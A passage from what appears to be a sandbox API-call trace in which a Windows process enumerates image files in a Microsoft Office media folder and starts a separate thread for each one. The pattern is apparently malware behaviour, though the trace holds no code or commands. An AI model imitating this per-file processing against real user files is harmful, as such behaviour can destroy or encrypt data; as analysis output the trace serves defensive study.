Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.849] wcscat (in: _Dest=0x942f98, _Source="J0300840.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" [0156.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0156.850] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0156.850] wcscmp (_String1="J0300912.WMF", _String2=".") returned 1 [0156.850] wcscmp (_String1="J0300912.WMF", _String2="..") returned 1 [0156.850] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9432c8 [0156.850] wcscpy (in: _Dest=0x9432c8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.850] wcscat (in: _Dest=0x9432c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.850] wcscat (in: _Dest=0x9432c8, _Source="J0300912.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" [0156.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9432c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248 [0156.851] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0156.851] wcscmp (_String1="J0301050.WMF", _String2=".") returned 1 [0156.851] wcscmp (_String1="J0301050.WMF", _String2="..") returned 1 [0156.851] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9431b8 [0156.851] wcscpy (in: _Dest=0x9431b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.851] wcscat (in: _Dest=0x9431b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.851] wcscat (in: _Dest=0x9431b8, _Source="J0301050.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" [0156.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9431b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0156.853] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0156.853] wcscmp (_String1="J0301076.WMF", _String2=".") returned 1 [0156.853] wcscmp (_String1="J0301076.WMF", _String2="..") returned 1 [0156.853] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9430a8 [0156.853] wcscpy (in: _Dest=0x9430a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.853] wcscat (in: _Dest=0x9430a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.853] wcscat (in: _Dest=0x9430a8, _Source="J0301076.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" [0156.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9430a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0156.854] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0156.854] wcscmp (_String1="J0301252.WMF", _String2=".") returned 1 [0156.854] wcscmp (_String1="J0301252.WMF", _String2="..") returned 1 [0156.854] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942f10 [0156.854] wcscpy (in: _Dest=0x942f10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.854] wcscat (in: _Dest=0x942f10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.854] wcscat (in: _Dest=0x942f10, _Source="J0301252.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" [0156.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0156.855] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0156.855] wcscmp (_String1="J0301480.WMF", _String2=".") returned 1 [0156.855] wcscmp (_String1="J0301480.WMF", _String2="..") returned 1 [0156.855] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942e88 [0156.855] wcscpy (in: _Dest=0x942e88, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.855] wcscat (in: _Dest=0x942e88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.855] wcscat (in: _Dest=0x942e88, _Source="J0301480.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" [0156.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942e88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0156.857] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0156.857] wcscmp (_String1="J0302827.JPG", _String2=".") returned 1 [0156.857] wcscmp (_String1="J0302827.JPG", _String2="..") returned 1 [0156.857] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942e00 [0156.857] wcscpy (in: _Dest=0x942e00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.857] wcscat (in: _Dest=0x942e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.857] wcscat (in: _Dest=0x942e00, _Source="J0302827.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" [0156.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0156.858] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0156.858] wcscmp (_String1="J0302953.JPG", _String2=".") returned 1 [0156.858] wcscmp (_String1="J0302953.JPG", _String2="..") returned 1 [0156.858] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942d78 [0156.858] wcscpy (in: _Dest=0x942d78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.858] wcscat (in: _Dest=0x942d78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.858] wcscat (in: _Dest=0x942d78, _Source="J0302953.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" [0156.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x149c [0156.859] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0156.859] wcscmp (_String1="J0304933.WMF", _String2=".") returned 1 [0156.859] wcscmp (_String1="J0304933.WMF", _String2="..") returned 1 [0156.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942cf0 [0156.859] wcscpy (in: _Dest=0x942cf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.859] wcscat (in: _Dest=0x942cf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.859] wcscat (in: _Dest=0x942cf0, _Source="J0304933.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" [0156.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08 [0156.860] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0156.860] wcscmp (_String1="J0305257.WMF", _String2=".") returned 1 [0156.860] wcscmp (_String1="J0305257.WMF", _String2="..") returned 1 [0156.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943020 [0156.861] wcscpy (in: _Dest=0x943020, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.861] wcscat (in: _Dest=0x943020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.861] wcscat (in: _Dest=0x943020, _Source="J0305257.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" [0156.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c [0156.862] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0156.862] wcscmp (_String1="J0305493.WMF", _String2=".") returned 1 [0156.862] wcscmp (_String1="J0305493.WMF", _String2="..") returned 1 [0156.862] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943460 [0156.862] wcscpy (in: _Dest=0x943460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.862] wcscat (in: _Dest=0x943460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.862] wcscat (in: _Dest=0x943460, _Source="J0305493.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" [0156.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0 [0156.863] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0156.863] wcscmp (_String1="J0315447.JPG", _String2=".") returned 1 [0156.863] wcscmp (_String1="J0315447.JPG", _String2="..") returned 1 [0156.863] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943130 [0156.863] wcscpy (in: _Dest=0x943130, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.863] wcscat (in: _Dest=0x943130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.863] wcscat (in: _Dest=0x943130, _Source="J0315447.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" [0156.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4 [0156.864] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0156.864] wcscmp (_String1="J0332268.WMF", _String2=".") returned 1 [0156.864] wcscmp (_String1="J0332268.WMF", _String2="..") returned 1 [0156.864] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9434e8 [0156.864] wcscpy (in: _Dest=0x9434e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.864] wcscat (in: _Dest=0x9434e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.864] wcscat (in: _Dest=0x9434e8, _Source="J0332268.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" [0156.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9434e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a8 [0156.865] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0156.865] wcscmp (_String1="J0332364.WMF", _String2=".") returned 1 [0156.865] wcscmp (_String1="J0332364.WMF", _String2="..") returned 1 [0156.865] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x944120 [0156.865] wcscpy (in: _Dest=0x944120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.865] wcscat (in: _Dest=0x944120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.865] wcscat (in: _Dest=0x944120, _Source="J0332364.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" [0156.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x944120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0156.867] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0156.868] wcscmp (_String1="J0335112.WMF", _String2=".") returned 1 [0156.868] wcscmp (_String1="J0335112.WMF", _String2="..") returned 1 [0156.868] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9441a8 [0156.868] wcscpy (in: _Dest=0x9441a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.868] wcscat (in: _Dest=0x9441a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.868] wcscat (in: _Dest=0x9441a8, _Source="J0335112.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" [0156.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9441a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80 [0156.869] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0156.869] wcscmp (_String1="J0336075.WMF", _String2=".") returned 1 [0156.869] wcscmp (_String1="J0336075.WMF", _String2="..") returned 1 [0156.869] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x944230 [0156.869] wcscpy (in: _Dest=0x944230, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0156.869] wcscat (in: _Dest=0x944230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0156.869] wcscat (in: _Dest=0x944230, _Source="J0336075.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" [0156.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x944230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198 [0156.870] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0156.870] FindClose (in: hFindFile=0x8da010 | out: hFindFile=0x8da010) returned 1 [0156.870] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a2f0) returned 1 [0156.870] RtlFreeHeap 